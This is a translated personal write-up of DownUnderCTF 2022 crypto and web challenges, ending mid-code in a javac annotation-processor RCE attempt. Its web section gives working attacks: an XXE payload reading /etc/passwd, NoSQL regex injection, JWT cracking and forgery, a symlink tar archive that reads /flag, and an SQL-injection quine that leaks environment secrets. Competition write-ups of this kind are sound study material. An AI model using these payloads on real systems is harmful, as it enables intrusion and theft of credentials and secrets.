DownUnderCTF 2022 Writeups
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time, I participated solo in this year's DownUnderCTF using the peko
team and achieved sixth place. Initially, I was aiming for the crypto challenges, but the other challenges were also very interesting.
crypto
baby arx
A cipher that looks very z3 friendly, so I solved it directly with z3.
from z3 import *
class baby_arx:
def __init__(self, key):
assert len(key) == 64
self.state = list(key)
def b(self):
b1 = self.state[0]
b2 = self.state[1]
b1 = b1 ^ ((b1 << 1) | (b1 & 1))
b2 = b2 ^ (LShR(b2, 5) | (b2 << 3))
b = b1 + b2
self.state = self.state[1:] + [b]
return b
def stream(self, n):
return [self.b() for _ in range(n)]
ct = bytes.fromhex(
"cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b"
)
key = [BitVec(f"key{i}", 8) for i in range(64)]
sol = Solver()
out = baby_arx(key).stream(64)
for x, y in zip(out, ct):
sol.add(x == y)
for x, y in zip(key, b"DUCTF{"):
sol.add(x == y)
for x in key:
sol.add(And(x >= 20, x <= 127))
assert sol.check() == sat
m = sol.model()
key = [m[k].as_long() for k in key]
print(bytes(key))
# DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}
oracle for block cipher enthusiasts
#!/usr/bin/env python3
from os import urandom, path
from Crypto.Cipher import AES
FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()
MESSAGE = f'Decrypt this... {urandom(300).hex()} {FLAG}'
def main():
key = urandom(16)
for _ in range(2):
iv = bytes.fromhex(input('iv: '))
aes = AES.new(key, iv=iv, mode=AES.MODE_OFB)
ct = aes.encrypt(MESSAGE.encode())
print(ct.hex())
if __name__ == '__main__':
main()
You can specify two IVs, and it will use the same key to encrypt the same message with AES-OFB. Checking AES-OFB, you can see from the image that as long as you have a known plaintext and ciphertext block, you can get the next block's IV. So, the first IV is arbitrary, and the second IV is the first block of the ciphertext XOR Decrypt this...
.
In this way, the two ciphertexts are equivalent to being encrypted with two key streams with different offsets. Since they differ by only one block and we know the plaintext of the first block, we can deduce the entire plaintext with a bit of effort.
from pwn import *
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
def blocks(x, n):
return [x[i : i + n] for i in range(0, len(x), n)]
prefix = b"Decrypt this... "[:16]
# io = process(["python", "ofb.py"])
io = remote("2022.ductf.dev", 30009)
io.sendlineafter(b"iv: ", (b"\x00" * 16).hex().encode())
ct1 = bytes.fromhex(io.recvlineS().strip())
io.sendlineafter(b"iv: ", xor(prefix, ct1).hex().encode())
ct2 = bytes.fromhex(io.recvlineS().strip())
enc1 = blocks(ct1, 16)
enc2 = blocks(ct2, 16)
pt = prefix
for x, y in zip(enc2, enc1[1:]):
pt += xor(xor(x, pt[-16:]), y)
print(pt)
# DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}
cheap ring theory
p = 55899879511190230528616866117179357211
V = GF(p)^3
R.<x> = PolynomialRing(GF(p))
f = x^3 + 36174005300402816514311230770140802253*x^2 + 35632245244482815363927956306821829684*x + 10704085182912790916669912997954900147
Q = R.quotient(f)
def V_pow(A, n):
return V([a^n for a in list(A)])
n, m = randint(1, p), randint(1, p)
A = Q.random_element()
B = Q.random_element()
C = A^n * B^m
print(' '.join(map(str, list(A))))
print(' '.join(map(str, list(B))))
print(' '.join(map(str, list(C))))
phi_A = V(list(map(int, input().split())))
phi_B = V(list(map(int, input().split())))
phi_C = V(list(map(int, input().split())))
check_phi_C = V_pow(phi_A, n).pairwise_product(V_pow(phi_B, m))
if phi_C == check_phi_C:
print(open('./flag.txt', 'r').read().strip())
Hmm... looks interesting, but it's easy to find that you can pass the check by inputting 0 0 0
or 1 1 1
.
For those interested, you can read the official writeup.
rsa interval oracle i
#!/usr/bin/env python3
import signal, time
from os import urandom, path
from Crypto.Util.number import getPrime, bytes_to_long
FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()
N_BITS = 384
TIMEOUT = 10 * 60
MAX_INTERVALS = 384
MAX_QUERIES = 384
def main():
p, q = getPrime(N_BITS//2), getPrime(N_BITS//2)
N = p * q
e = 0x10001
d = pow(e, -1, (p - 1) * (q - 1))
secret = bytes_to_long(urandom(N_BITS//9))
c = pow(secret, e, N)
print(N)
print(c)
intervals = []
queries_used = 0
while True:
print('1. Add interval\n2. Request oracle\n3. Get flag')
choice = int(input('> '))
if choice == 1:
if len(intervals) >= MAX_INTERVALS:
print('No more intervals allowed!')
continue
lower = int(input(f'Lower bound: '))
upper = int(input(f'Upper bound: '))
intervals.insert(0, (lower, upper))
elif choice == 2:
queries = input('queries: ')
queries = [int(c.strip()) for c in queries.split(',')]
queries_used += len(queries)
if queries_used > MAX_QUERIES:
print('No more queries allowed!')
continue
results = []
for c in queries:
m = pow(c, d, N)
for i, (lower, upper) in enumerate(intervals):
in_interval = lower < m < upper
if in_interval:
results.append(i)
break
else:
results.append(-1)
print(','.join(map(str, results)), flush=True)
time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))
elif choice == 3:
secret_guess = int(input('Enter secret: '))
if secret == secret_guess:
print(FLAG)
else:
print('Incorrect secret :(')
exit()
else:
print('Invalid choice')
if __name__ == '__main__':
signal.alarm(TIMEOUT)
main()
In short, there is an RSA decryption oracle where you can choose the interval. One approach is to use the ability to add intervals and query them alternately, so a binary search can be used directly.
from pwn import *
# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-i.py"])
io = remote("2022.ductf.dev", 30008)
e = 0x10001
n = int(io.recvline())
c = int(io.recvline())
l = -1
r = 2**336
while l + 1 < r:
m = (l + r) // 2
print(l, r)
io.sendafter(b"> ", f"1\n{l}\n{m+1}\n".encode())
io.sendafter(b"> ", f"2\n{c}\n".encode())
res = int(io.recvline().split(b": ")[1])
if res == 0:
r = m
else:
l = m
for x in range(l, r + 1):
if pow(x, e, n) == c:
io.sendafter(b"> ", b"3\n")
io.sendline(str(x).encode())
io.interactive()
break
# DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}
rsa interval oracle ii
diff rsa-interval-oracle-i.py rsa-interval-oracle-ii.py
:
12c12
< MAX_INTERVALS = 384
---
> MAX_INTERVALS = 1
So now we only have one interval but can still query 384 times. If the only interval is , then the oracle becomes , which reminds us of Manger's Attack. Then, as a script kiddie, I directly used an existing implementation and modified it.
from pwn import *
import gmpy2
def pow(a, b, c):
return int(gmpy2.powmod(a, b, c))
def attempt():
# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-ii.py"])
io = remote("2022.ductf.dev", 30011)
e = 0x10001
n = int(io.recvline())
c = int(io.recvline())
k = 48
B = 1 << (8 * k - 8)
io.sendafter(b"> ", f"1\n-1\n{B}\n".encode())
def oracle(c):
io.sendafter(b"> ", f"2\n{c}\n".encode())
return int(io.recvline().split(b": ")[1]) != -1
def Manger_Attack(c):
f1 = 2
while True:
val = (pow(f1, e, n) * c) % n
if oracle(val):
f1 = 2 * f1
else:
break
print("first")
f12 = f1 // 2
f2 = ((n + B) // B) * f12
while True:
val = (pow(f2, e, n) * c) % n
if oracle(val):
break
else:
f2 += f12
print("second")
m_min = (n + f2 - 1) // f2
m_max = (n + B) // f2
# note the ERRATA from https://github.com/GDSSecurity/mangers-oracle
while m_min < m_max:
f_tmp = (2 * B) // (m_max - m_min)
I = (f_tmp * m_min) // n
f3 = (I * n + m_min - 1) // m_min
val = (pow(f3, e, n) * c) % n
if oracle(val):
m_max = (I * n + B) // f3
else:
m_min = (I * n + B + f3 - 1) // f3
return m_min
try:
res = Manger_Attack(c)
print(res)
io.sendafter(b"> ", b"3\n")
io.sendline(str(res).encode())
print(io.recvlineS())
return True
except:
return False
while not attempt():
pass
# DUCTF{Manger_w0uld_b3_pr0ud_0f_y0u}
rsa interval oracle iii
diff rsa-interval-oracle-ii.py rsa-interval-oracle-iii.py
:
11,13c11,13
< TIMEOUT = 10 * 60
< MAX_INTERVALS = 1
< MAX_QUERIES = 384
---
> TIMEOUT = 3 * 60
> MAX_INTERVALS = 4
> MAX_QUERIES = 4700
You can see that it shortened the timeout and now allows 4 intervals and 4700 queries. However, due to an unintended solution, the author later released rsa interval oracle iv. I solved this challenge using the intended solution for iv, so I'll just provide a script for reference since the method I used is the same.
from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base
N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)
def connect():
# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-iii.py"])
io = remote("2022.ductf.dev", 30010)
e = 0x10001
N = int(io.recvline())
c = int(io.recvline())
ar = []
lb = []
ub = []
intervals = [
(0, 2 ** (N_BITS - 11)),
(0, 2 ** (N_BITS - 10)),
(0, 2 ** (N_BITS - 9)),
(0, 2 ** (N_BITS - 8)),
]
for lb, ub in intervals[::-1]:
io.sendafter(b"> ", f"1\n{lb}\n{ub}\n".encode())
# cand = [random.randint(1, N) for _ in range(4700)]
cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"queries: ", ",".join([str(c*power_mod(a,e,N)%N) for a in cand]).encode())
res = list(map(int, io.recvlineS().strip().split(",")))
ar = []
lb = []
ub = []
for a, r in zip(cand, res):
if r != -1:
ar.append(a)
lb.append(intervals[r][0])
ub.append(intervals[r][1])
return io, (ar, lb, ub), (N, e, c)
while True:
io, (ar, lb, ub), (N, e, c) = connect()
print(len(ar))
if len(ar) < 45:
print("again")
io.close()
continue
if len(ar) > 60:
ar = ar[:60]
lb = lb[:60]
ub = ub[:60]
load("solver.sage")
M = matrix(ar).stack(matrix.identity(len(ar)) * N)
M = matrix([1] + len(ar) * [0]).T.augment(M)
_, _, fin = solve(M, [0] + lb, [B] + ub)
secret = fin[0]
print(secret)
if power_mod(secret, e, N) != c:
print("QAQ")
io.close()
continue
io.sendafter(b"> ", b"3\n")
io.sendline(str(secret).encode())
print(io.recvlineS())
break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_n0_m4tch_f0r_y0u!}
Additionally, the unintended solution mentioned by the author involves setting the interval to and using a method similar to the lsb oracle. The sleep
part makes it difficult to alternate between querying and adding intervals due to the large MAX_QUERIES
, but the author mentioned that you can send all queries at once to achieve the lsb oracle effect.
time locked
from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')
p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
α = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]
def f(n):
if n < len(α):
return α[n]
n -= len(α) - 1
t = α[::-1]
while n > 0:
x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
t = [x] + t[:-1]
n -= 1
return t[0]
n = 2**(2**1337)
key = sha256(str(f(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())
The goal is to calculate the -th term of a mysterious function to obtain the AES key. The mysterious function looks like an LFSR, so it's a recurrence relation. The first step is to see if there's a way to speed up the calculation, such as an method to compute . Since it's similar to the Fibonacci sequence, we can use a similar method with a matrix and compute the -th term in time using fast exponentiation.
However, is still too large to compute, so we need to find a way to speed it up. We can notice that this is a matrix in , which also has an order , so we only need to compute the -th power of the matrix.
One way to find the order is to use multiplicative_order
, but since it's similar to discrete log, it takes a long time. Fortunately, the largest factor in is only 68 bits, so it's feasible.
Another method is to use the answer from Order of general- and special linear groups over finite fields, which gives a number that is a multiple of the order mentioned above and can be used.
p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
alpha = [
843080574448125383364376261369231843,
1039408776321575817285200998271834893,
712968634774716283037350592580404447,
1166166982652236924913773279075312777,
718531329791776442172712265596025287,
766989326986683912901762053647270531,
985639176179141999067719753673114239,
]
def f(n):
if n < len(alpha):
return alpha[n]
n -= len(alpha) - 1
t = alpha[::-1]
while n > 0:
x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
t = [x] + t[:-1]
n -= 1
return t[0]
K = GF(p)
M = matrix(K, a).stack(matrix.identity(len(a)))[:-1]
def f2(n):
if n < len(alpha):
return alpha[n]
# return (M ^ (n - 6) * vector(alpha[::-1]))[0]
return (M ^ n * vector(alpha[::-1]))[-1]
assert f(87) == f2(87)
# this works because the max prime factor of p-1 is 68 bits:
# od = M.multiplicative_order()
# od = 5747840427578934579418402212446804534742054912959507472646427706581721672984212149543182307880849869521914657360442377375504061940654295742621914326868064
# you can use this too: https://math.stackexchange.com/questions/34271/order-of-general-and-special-linear-groups-over-finite-fields
od = product([p ^ 7 - p ^ i for i in range(7)])
n = power_mod(2, 2**1337, od)
from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
ct = bytes.fromhex(
"85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02"
)
key = sha256(str(f2(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())
# DUCTF{p4y_t0_w1n_91ea0a7b4b688fc8}
rsa interval oracle iv
diff rsa-interval-oracle-iii.py rsa-interval-oracle-iv.py
:
28c28
< intervals = []
---
> intervals = [(0, 2**(N_BITS - 11)), (0, 2**(N_BITS - 10)), (0, 2**(N_BITS - 9)), (0, 2**(N_BITS - 8))]
44a45,48
> if queries_used > 0:
> print('No more queries allowed!')
> continue
>
65d68
< time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))
One change is that the intervals are now fixed and cannot be decided by the user. Another change is that you can only send all 4700 queries at once.
My method is simple: first, randomly select 4700 numbers , then send to the oracle. It will decrypt to . If it falls within the interval, we get the information . Naturally, we wonder if we can use multiple such pieces of information (less than 4700).
For those familiar with CTF, it should be easy to think of LLL/CVP-related methods, and this challenge is exactly about that.
We can see that the lattice formed by contains a vector , with upper and lower bounds and , where is the upper bound of . So, we can use Inequality Solving with CVP (automatic weight adjustment CVP) to solve it.
Specifically, based on my tests, is more likely to succeed, so a bit of luck is needed. Each inequality provides about 8 bits of information, so a total of bits of information is provided, which is more than , so it is expected to be solvable.
Actually, can be changed to the inverse of a small prime , , because is a random number and may have some small prime factors. If it happens to hit, will become small, increasing the probability of it falling within those intervals. In practice, this can add 2-3 more inequalities within the intervals.
from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base
N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)
def connect():
# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-iv.py"])
io = remote("2022.ductf.dev", 30030)
e = 0x10001
N = int(io.recvline())
c = int(io.recvline())
ar = []
lb = []
ub = []
# cand = [random.randint(1, N) for _ in range(4700)]
cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
io.sendlineafter(b"> ", b"2")
io.sendlineafter(
b"queries: ", ",".join([str(c * power_mod(a, e, N) % N) for a in cand]).encode()
)
res = list(map(int, io.recvlineS().strip().split(",")))
intervals = [
(0, 2 ** (N_BITS - 11)),
(0, 2 ** (N_BITS - 10)),
(0, 2 ** (N_BITS - 9)),
(0, 2 ** (N_BITS - 8)),
]
ar = []
lb = []
ub = []
for a, r in zip(cand, res):
if r != -1:
ar.append(a)
lb.append(intervals[r][0])
ub.append(intervals[r][1])
return io, (ar, lb, ub), (N, e, c)
while True:
io, (ar, lb, ub), (N, e, c) = connect()
print(len(ar))
if len(ar) < 50:
print("again")
io.close()
continue
if len(ar) > 60:
ar = ar[:60]
lb = lb[:60]
ub = ub[:60]
load("solver.sage")
M = matrix(ar).stack(matrix.identity(len(ar)) * N)
M = matrix([1] + len(ar) * [0]).T.augment(M)
_, _, fin = solve(M, [0] + lb, [B] + ub)
secret = fin[0]
print(secret)
if power_mod(secret, e, N) != c:
print("QAQ")
io.close()
continue
io.sendafter(b"> ", b"3\n")
io.sendline(str(secret).encode())
print(io.recvlineS())
break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_s3ri0usly_n0_m4tch_f0r_y0u...94b2a797eb5e0105}
Author's writeup converts it into an Extended HNP to solve.
web
helicoptering
This challenge requires bypassing two .htaccess
files:
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]
The first one can be bypassed by modifying the header, and the second one can be bypassed using URL encoding:
curl 'http://34.87.217.252:30026/one/flag.txt' -H 'Host: localhost'
curl 'http://34.87.217.252:30026/two/fl%61g.txt'
DUCTF{thats_it_next_time_im_using_nginx}
Treasure Hunt
A guessing game ==
Observing it, you can see that it uses JWT for sessions, but trying several common JWT tricks didn't work. After running out of ideas, I used hashcat + rockyou and it cracked ==
Then, just change the sub
to 1
(guessing it's admin) to solve it.
.\hashcat.exe -a 0 -m 16500 .\hash.txt ..\rockyou.txt
secret: onepiece
DUCTF{7h3-0n3-p13c3-15-4ll-7h3-fl465-y0u-637-4l0n6-7h3-w4y}
dyslexxec
You can upload an Excel file, and it will process it. There's a part where it processes workbook.xml
:
def findInternalFilepath(filename):
try:
prop = None
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.parse(filename, parser=parser)
root = tree.getroot()
internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
if internalNode != None:
prop = {
"Fieldname":"absPath",
"Attribute":internalNode.attrib["url"],
"Value":internalNode.text
}
return prop
except Exception:
print("couldnt extract absPath")
return None
Obviously, there's an XXE here, and the flag is in /etc/passwd
, so just read it directly.
<!DOCTYPE peko[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- ... -->
<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac" >&xxe;</x15ac:absPath>
DUCTF{cexxelsyd_work_my_dyslexxec_friend}
noteworthy
There is a lot of code, and the database uses MongoDB. In the /edit
route, there's a NoSQL injection, so just use regex to brute force it:
import httpx
import asyncio
import string
jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJkYjI1YzQ0NGQ0OGYzNzUwYmM0ODQiLCJpYXQiOjE2NjQwMDQyNTYsImV4cCI6MTY2NDYwOTA1Nn0.eFQkc7bXY95xx5OZayHPUupBV7QEcxYcWbUGDxlT2N0"
chs = string.ascii_lowercase + string.digits + "{_}"
async def check_flag(h, rgx):
r = await h.post(
"/edit",
params={"noteId": 1337, "contents[$regex]": rgx},
json={"contents": {"length": 201}},
)
return "You are not the owner of this note!" == r.json()["error"]
async def main():
async with httpx.AsyncClient(
base_url="https://web-noteworthy-873b7c844f49.2022.ductf.dev/", cookies={"jwt": jwt}, http2=True
) as h:
flag = "DUCTF{"
while not flag.endswith("}"):
res = await asyncio.gather(*[check_flag(h, flag + c) for c in chs])
for c, r in zip(chs, res):
if r:
flag += c
print(flag)
break
asyncio.run(main())
# DUCTF{n0sql1_1s_th3_new_5qli}
Uni of Straya - Part 1
Initially, the source code for this series of challenges was not provided, but now that the competition is over, the source code is available here.
After logging in, you can see that it uses RS256 JWT. The header has an iss
field pointing to /api/auth/pub-key
. Requesting that path gives you an RSA public key. Trying to change iss
to a third-party server results in an error saying it needs to match /api/auth/pub-key
.
Additionally, playing around with the website, you can see that /api/auth/logout?redirect=/logout
has an open redirect. Testing with iss
changed to /api/auth/pub-key/../logout?redirect=SOME_WHERE_ELSE
also receives a request, so it means you can make it use your own public key to verify the JWT, allowing you to forge JWTs arbitrarily.
Generate a key pair:
ssh-keygen -t rsa -b 4096 -m PEM -f myjwt.key
openssl rsa -in myjwt.key -pubout -outform PEM -out myjwt.pub
As for what to change in the JWT, it's simple. Since the data only has an id
, a reasonable guess is that 1
represents admin. After changing it, browsing to /admin
shows a request to /api/auth/isstaff
, and the response JSON contains flag 1: DUCTF{iSs_t0_h0vSt0n_c4n_U_h3r3_uS_oR_r_w3_b31nG_r3dIrEcTeD!1!}
.
no-symlink
This challenge has a Ruby Sinatra server:
# Flag is in the root as /flag (see attached Dockerfile)
require 'sinatra'
require 'securerandom'
set :environment, :production
def err(s)
erb :index, :locals => {:links => [], :error => s}
end
def ok(l)
erb :index, :locals => {:links => l, :error => nil}
end
get '/' do
return ok []
end
post '/' do
unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile])
return err "File not sent"
end
unless tempfile.size <= 10240
return err "File too big"
end
path = SecureRandom.hex 16
unless Dir.mkdir "uploads/#{path}", 0755
return err "Error creating directory"
end
unless system "tar -xvf #{tempfile.path} -C uploads/#{path}"
return err "Error extracting tar file"
end
links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f|
# Don't show . or ..
if [".", ".."].include? File.basename f
false
# Don't show symlinks. Additionally delete them, they may be unsafe
elsif File.symlink? f
File.unlink f
false
# Don't show directories (but show files under them)
elsif File.directory? f
false
# Show everything else
else
true
end
end
return ok links
end
get '/uploads/*' do
filepath = "uploads/#{::Rack::Utils.clean_path_info params['splat'].first}"
halt 404 unless File.file? filepath
send_file filepath
end
not_found do
status 404
'404'
end
error 500 do
status 500
'500'
end
After uploading a tar file, it uses GNU tar to extract it to a random directory and then uses glob to delete all symlinks. After that, you can read any file in the tar. The goal is to read /flag
.
GNU tar itself has protection against tar slip, so it's hard to exploit. The goal is to find a way to use a symlink to /flag
to read the flag.
My approach was to make glob unable to find the symlink, so it wouldn't be deleted. However, because of File::FNM_DOTMATCH
, hidden files are also matched, so this method doesn't work.
After some time, I remembered that directories in Linux can have no r
permission, meaning you can't read the file list in that directory. But if x
is still there, you can still read files in it if you know their names. So, if tar has a directory with mode 300
(or 100
), and it contains a symlink with a known name, it can bypass the glob + unlink.
The remaining task is to create that tar. Since chmod 300
makes tar unable to read the directory, I used Python's tarfile
module to create it:
import tarfile
import io
with tarfile.open("./out.tar", "w") as tar:
hello = tarfile.TarInfo("hello")
hello.type = tarfile.DIRTYPE
hello.mode = 0o300 # not readable, so glob won't be able to find the symlink
tar.addfile(hello)
world = tarfile.TarInfo("world") # to leak folder name
world.type = tarfile.REGTYPE
world.mode = 0o400
world.size = 5
tar.addfile(world, io.BytesIO(b"world"))
link = tarfile.TarInfo("hello/link")
link.type = tarfile.SYMTYPE
link.mode = 0o400
link.linkname = "/flag"
tar.addfile(link)
# DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}
Later, I found out that you can also use GNU tar's --mode
parameter to set it, e.g., tar czf test.tar --mode=a-r hello
achieves the same goal.
Uni of Straya - Part 2
In the /admin
admin panel, you can see a feature to create assignments (assessments) for certain courses. You can choose between a regular file or an archive file (tar/zip). After creating an assessment that allows uploading archive files, I uploaded a tar containing a symlink to /etc/passwd
. After uploading, reading the file worked, so creating a symlink to /
allows arbitrary file reading.
The challenge description mentions that the flag is in flag.txt
under the server directory, but I couldn't find it in common paths. Finally, I thought of using /proc/self/cwd
to get the current working directory, so reading /proc/self/flag.txt
gives the flag: DUCTF{t4r_t4r_tH4nK5_f4r_l1nK1nG_tH3_sAuCe!}
.
sqli2022
from flask import Flask, request
import textwrap
import sqlite3
import os
import hashlib
assert len(os.environ['FLAG']) > 32
app = Flask(__name__)
@app.route('/', methods=['POST'])
def root_post():
post = request.form
# Sent params?
if 'username' not in post or 'password' not in post:
return 'Username or password missing from request'
# We are recreating this every request
con = sqlite3.connect(':memory:')
cur = con.cursor()
cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
cur.execute(
'INSERT INTO users VALUES ("admin", ?)',
[hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
)
output = cur.execute(
'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
.format(post=post)
).fetchone()
# Credentials OK?
if output is None:
return 'Wrong credentials'
# Nothing suspicious?
username, password = output
if username != post["username"] or password != post["password"]:
return 'Wrong credentials (are we being hacked?)'
# Everything is all good
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)
@app.route('/', methods=['GET'])
def root_get():
return textwrap.dedent('''
<html>
<head></head>
<body>
<form action="/" method="post">
<p>Welcome to admin panel!</p>
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="text" id="password" name="password"><br><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
''').strip()
The challenge name suggests SQL injection, but it checks username != post["username"] or password != post["password"]
, so an SQL injection quine is needed.
Assuming we pass the login check, how do we get the flag from the environment variables? The return
part mixes f-string and str.format
, and username
is controllable. So, we can use a Python format string to leak the flag. Since request.form
is werkzeug.ImmutableMultiDict
, setting username
to {post.copy.__globals__[os].environ[FLAG]}
leaks the flag.
The difficult part is the SQL injection quine. First, it uses !r
to escape, which is equivalent to Python's repr
, and it also does some escaping. However, bypassing it is simple because Python and SQLite handle \
(backslash) differently. For example, print(repr("\"'abc"))
outputs '"\'abc'
, and in SQL, the backslash in a single quote string is ignored, so abc
is outside the string literal, resulting in SQL injection.
As for the quine part, it's really tricky. This challenge reminded me of AIS3 EOF 2020 Quals - Cyberpunk 1977, which also involves a Python format string + SQL injection quine. So, I directly used its exploit and modified it. After some painful quine adjustments, I finally wrote an exploit to get the flag:
import os
import sqlite3
import hashlib
os.environ["FLAG"] = "test_flag"
# sqli quine modified from https://github.com/splitline/My-CTF-Challenges/blob/049b591445b2ab902a6fdefa2382d44ef9f5af50/ais3-eof/2020-quals/Web/CYBERPUNK1977/exploit/solution.py#L23-L30
# request.form is ImmutableMultiDict
username = "{post.copy.__globals__[os].environ[FLAG]}"
fmt_leak = "||".join([f"CHAR({hex(ord(x))})" for x in username])
# fmt_leak = "CHAR(0x61)||CHAR(0x62)||CHAR(0x63)||CHAR(0x64)"
query = f"'UNION SELECT '{fmt_leak}',substr(query,1,###)||X'22'||query||X'22'||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},substr(query,1,###)||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace( replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@), char(0x22)||char(0x5c),char(0x20)||char(0x22))"
payload = f"""
{query} FROM(SELECT {query} FROM(SELECT as query)--" as query)--
""".strip() # .replace(" ", "/**/")
offset = payload.index(' "\x27UNION') # start of `query`
payload = payload.replace("###", str(offset)).replace("@@@", str(offset + 1))
post = {"username": username, "password": payload}
con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute(
'INSERT INTO users VALUES ("admin", ?)',
[hashlib.md5(os.environ["FLAG"].encode()).hexdigest()],
)
sql = "SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}".format(
post=post
)
print(sql)
output = cur.execute(sql).fetchone()
print()
print(output[0])
print(output[1])
print()
print(post["username"])
print(post["password"])
print()
assert output[0] == post["username"]
assert output[1] == post["password"]
import requests
print(
requests.post("https://web-sqli2022-85d13aec009e.2022.ductf.dev/", data=post).text
)
# DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}
Uni of Straya - Part 3
Using the /proc/self/cwd
trick from Part 2, you can find the server's entry point in /proc/self/cwd/main.py
. Following its imports to guess other file names (including __init__.py
), you can dump the entire server's source code.
Since the goal is RCE, you need to find suspicious parts in the source code. Quickly, you can find that the assessment has a mysterious java-underdevelopment
type, allowing you to upload an archive (tar/zip) and then check if the uploaded Java files are valid (compilable).
def check_java_is_valid(folder)->bool:
class_files = list_files(folder, allowed_ext=".java")
temp_output = os.path.join("/", "tmp", "java", os.urandom(8).hex())
os.makedirs(temp_output, exist_ok=True)
old_cwd = os.getcwd()
os.chdir(folder)
# Using subprocess.run prevents any command injection students could exploit
try:
returned_code = subprocess.run(["/usr/bin/javac", "-d", temp_output]+class_files)
except:
return False
finally:
os.chdir(old_cwd)
return returned_code == 0
The list_files
function is a simple recursive search for .java
files. Since it uses subprocess.run
, there's no command injection as the comment says. However, although there's no command injection, if the filename starts with a dash (-
), it can achieve arguments injection.
First, determine the Java version. I guessed the remote system is Debian-based and tried reading paths like /usr/lib/jvm/java-11-openjdk-amd64/bin/java
to see if the file exists. So, I knew the remote uses OpenJDK 11.
Using javac -help
, you can see an interesting flag -processor
that allows specifying a class as a processor. Processors seem related to annotations, but as long as they can execute, it's fine. Referring to online examples, I wrote this processor Pwn.java
:
import java.util.Set;
import javax.annotation.processing.AbstractProcessor;
import javax.annotation.processing.ProcessingEnvironment;
import javax.annotation.processing.RoundEnvironment;
import javax.annotation.processing.SupportedAnnotationTypes;
import javax.annotation.processing.SupportedSourceVersion;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.TypeElement;
@SupportedAnnotationTypes("*")
